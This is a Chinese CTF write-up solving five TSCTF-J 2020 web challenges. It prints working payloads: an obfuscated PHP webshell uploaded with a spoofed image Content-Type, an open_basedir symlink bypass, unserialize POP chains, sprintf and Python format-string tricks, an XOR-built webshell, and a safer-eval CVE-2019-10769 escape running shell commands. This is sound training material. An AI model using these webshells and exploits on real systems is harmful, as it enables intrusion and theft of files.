TSCTF-J 2020 Web WriteUp

WriteUp Oct 18, 2020

EzUpload

上传了几个发现检查了 Content-Type,并且过滤了 eval、assert 等函数
并没有检查文件后缀名,也没有过滤 php 字段
于是构造:

<?php $ant=base64_decode("YXNzZXJ0");$ant($_POST['ant']);?>

改 Content-Type 为 image/gif 即可上传
用蚁剑打开 Base64 编码器就能连上

连上后发现只能访问 /var 下的文件
于是用 symlink 函数绕过 open_basedir 的限制
脚本如下:

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/flag.txt');

上传脚本即可得到 flag
详细资料见 open_basedir 绕过

eaSy_serialize

<?php
highlight_file(__FILE__);
error_reporting(0);
class PHP
{
    private $PHP;
    private $java;
    public $c;
    public $python;
    public $bash;
    public function __wakeup()
    {
        echo "zhenbuchuo";
    }
    public function __construct($PHP, $java, $c)
    {
        $this->c = $c;
        $this->PHP = $PHP;
        $this->java = $java;
    }
    public function __destruct()
    {
        if ($this->java = 'noway') {  //设置java为'noway'
            $this->bash = base64_decode("czE4MzY2NzcwMDZh");  //s1836677006a,md5后开头为0e
            $this->python = $this->c;
            if ($this->python != $this->bash) {
                if (md5($this->bash) == md5($this->python)) {  //使用md5后的值是0e开头的文本就能绕过
                    $this->PHP->flag();
                }
            }
        }
    }
    public function clac($md5)
    {
        $this->bash = $md5;

    }
}
class bash
{
    public $z;
    public $x;
    public $y;
    public function __construct($z)
    {
        $this->z = $z;
        $this->x = $this->y = 'crispr';
    }
    public function flag()
    {
        $this->x = 'null';
        if ($this->x === $this->y) {  //设置y为'null'
            if (isset($this->z)) {
                echo @highlight_file($this->z, true);  //读取flag.php
            }
        }
    }
}
unserialize($_GET['guess']);

payload:

<?php
class PHP
{
    private $PHP;
    private $java = 'noway';
    public $c = 'QNKCDZO';
    public function __construct($PHP)
    {
        $this->PHP = $PHP;
    }
}
class bash
{
    public $z = 'flag.php';
    public $y = 'null';
}
echo urlencode(serialize(new PHP(new bash())));

rcmd

与高校战“疫”的 fmkq 基本一样
考察 php 字符串格式化漏洞、变量覆盖、python 的 format 字符串格式化漏洞

上来先审计代码:

<?php
$start = "The content is ";
extract($_GET);  //没有指定get参数,可以传入start
if(isset($url)) {
   $u = parse_url($url);
   var_dump($u);
   if(!in_array($u['scheme'], array('http', 'https'))) {
      die('对不起,您使用的协议暂时不支持');
   }
   if(preg_match('/127|host/', $u['host'])) {  //可以用localHOST绕过
      die('对不起,我不喜欢数字');
   }
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $result = curl_exec($ch);
   echo sprintf("$start%d\n", $result);  //把start设置为%s%,可以令后面的%d转义,从而输出result
   curl_close($ch);
} else {
   highlight_file(__FILE__);
}

传入 ?start=%s%&url=http://localHOST 来绕过
然后用 Burp Suite 爆破端口,发现 5000 端口打开,并写着:

Use /query?path= to query what you want. And what you want is at /fl4g/flag

然后传入 ?start=%s%&url=http://localHOST:5000/query?path=/fl4g/flag,但得不到 flag
测试一下发现 fl4g 字段被过滤

然后随便试,在 /app/main.py 找到源码,再根据 import 找到 file.py 和 readfile.py
在 readfile.py 里,可以看到:

filepath = (self.file.dir + '/{file.name}').format(file=self.file)

可以构造 self.file.dir 也就是 path 参数来绕过对 fl4g 的过滤
传入

?start=%s%&url=http://localHOST:5000/query?path=/{file.__dict__}/readfile.py

可以看到回显,其中 file 的 name 属性就是文件名
于是传入

?start=%s%&url=http://localHOST:5000/query?path=/{file.name[0]}l4g/flag

来让文件名 flag 的 f 代替 fl4g 的 f,得到 flag

easyWEB

在网页源代码可以看见:

function BubblEGVM() {
  if (str.search(/S|s/) == -1) {
    if (str.toUpperCase() == 'SEARCH') {
      alert(''); //you could find some clue here
    }
  }
}

要在输入框里填 search 但有屏蔽了 sS
这里利用 Javascript 的 toUpperCase 函数的特性
经过函数后,ı 会变成 I,ſ 会变成 S
于是输入 ſearch 来绕过

根据提示进入 /fllllaiig,得到:

<?php
error_reporting(0);
include "hint.php";
highlight_file(__FILE__);
class FileHandler
{
    protected $op;
    protected $filename;
    protected $content;
    protected $passwd;
    public function __construct()
    {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "My Love";
        $passwd = "They are all numbers"; //try to modify it
        $this->process();
    }
    public function process()
    {
        if ($this->op == "1") {
            $this->write();
        } else if ($this->op == "2") {
            if ($this->check($this->passwd) !== "50dbfbe03ac33fe3e66d7d431a2e2c20") {
                die("Don't try to hack me-2!");
            }
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write()
    {
        if (isset($this->filename) && isset($this->content)) {
            if (strlen((string) $this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if ($res) {
                $this->output("Successful!");
            } else {
                $this->output("Failed!");
            }
        } else {
            $this->output("Failed!");
        }
    }
    private function check($password)
    {
        $salt = md5("Bubb1EgVm");
        $password = md5($password) . $salt;
        $password = md5($password);
        return $password;
    }
    private function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s)
    {
        echo "[Result]: <br>";
        echo $s;
    }
    public function __destruct()
    {
        if ($this->op === "2") {
            $this->op = "1";
        }
        $this->content = "";
        $this->process();
    }
}
function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++) {
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) {  //这里判断传入参数有没有\0
            return false;
        }
    }
    return true;
}
if (isset($_GET{'pop'})) {
    $str = (string) $_GET['pop'];
    if (is_valid($str)) {
        $obj = unserialize($str);
    }
}

这里的反序列化与 2020 第二届“网鼎杯”青龙组的 AreUSerialz 基本一样

首先要令 op == 2 来执行 read 函数,但又不能让 op === 2 以防在 __destrct 方法中把 op 改回 1
所以设定 op 为整数 2 来绕过
这里还设置了纯数字的密码,加盐哈希后为 50dbfbe03ac33fe3e66d7d431a2e2c20,可以写 python 脚本来爆破
脚本如下:

import hashlib
salt = 'Bubb1EgVm'
i = 0
while True:
    print(i)
    md1 = hashlib.md5()
    md1.update(salt.encode('utf-8'))
    md2 = hashlib.md5()
    md2.update((str(i)).encode('utf-8'))
    md3 = hashlib.md5()
    md3.update((md2.hexdigest() + md1.hexdigest()).encode('utf-8'))
    if md3.hexdigest() == '50dbfbe03ac33fe3e66d7d431a2e2c20':
        break
    i += 1

最后得到密码为 5201314
然后就是 read 函数了,因为 is_valid 过滤了 %00 ,属性又都是 protected,导致无法反序列化
这里有两种方法:

  1. 直接把 protected 改为 public(适用于 php 7.1 以上)

  2. 把代表字符串的 s 改为大写,可以写入十六进制数据,把 %00 改成 \00 并 url 编码(适用于 php 7.1 以下)

本题使用第二种方法
payload:

<?php
class FileHandler {
    protected $op = 2;
    protected $filename = "php://filter/read=convert.base64-encode/resource=fllllaiig/hint.php";
    protected $passwd = "5201314";
}
$f = new FileHandler();
$a = serialize($f);
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo urlencode($a);

根据提示进入 /bubblegvm5201314:

<?php
error_reporting(0);
if(isset($_GET['a'])) {
    $a = $_GET['a'];
    if (preg_match("/[A-Za-z0-9]+/", $a)) {  //过滤了大小写字母和数字
        die("hacker");
    } else {
        @eval($a);
    }
}
else{
    highlight_file(__FILE__);
}

使用特殊字符异或来构造 webshell
原 webshell:$_=assert;$__='_'.POST;$___=$$__;$_($___[_]);
特殊字符替换后 webshell:

$_=('%21'^'%40').('%28'^'%5B').('%28'^'%5B').('%25'^'%40').('%29'^'%5B').('%28'^'%5C%5C');$__='_'.('%2B'^'%7B').('/'^'%60').('%28'^'%7B').('%28'^'%7C');$___=$$__;$_($___[_]);

传入

?a=$_=('%21'^'%40').('%28'^'%5B').('%28'^'%5B').('%25'^'%40').('%29'^'%5B').('%28'^'%5C%5C');$__='_'.('%2B'^'%7B').('/'^'%60').('%28'^'%7B').('%28'^'%7C');$___=$$__;$_($___[_]);

再使用 HackBar 用 post 方法传入 _=phpinfo();,就能找到 flag

EasyCalc-Modify1

safer-eval 1.3.6 的远程命令执行漏洞 CVE-2019-10769,GKCTF2020 的 EzWeb 考的同样的漏洞
CVE-2019-10769

根据注释访问 /static/index.js:

const express = require('express');
const { createHash } = require('crypto');
const saferEval = require('safer-eval');
const fs = require('fs');
const app = express();
app.set('view engine', 'pug');
const history = {};
app.use('/static', express.static('static'));
function md5(s) {
  return createHash('md5').update(s).digest('hex');
}
app.get('/', function (req, res) {
  let response = '';
  const his = history[md5(req.ip)] || [];
  if (req.query.c) {
    console.log(req.query.c);
    try {
      response = saferEval(req.query.c); //使用了safer-eval来计算
    } catch (e) {
      console.log(e);
      response = 'Error';
    }
    his.unshift([req.query.c, response]);
  }
  history[md5(req.ip)] = his.slice(0, 5);
  res.render('index', { history: his });
});
app.listen(80, '0.0.0.0', () => {
  console.log('Start listening');
});

payload:

?c=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

标签

john_doe

Merak 铁菜鸡一枚

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.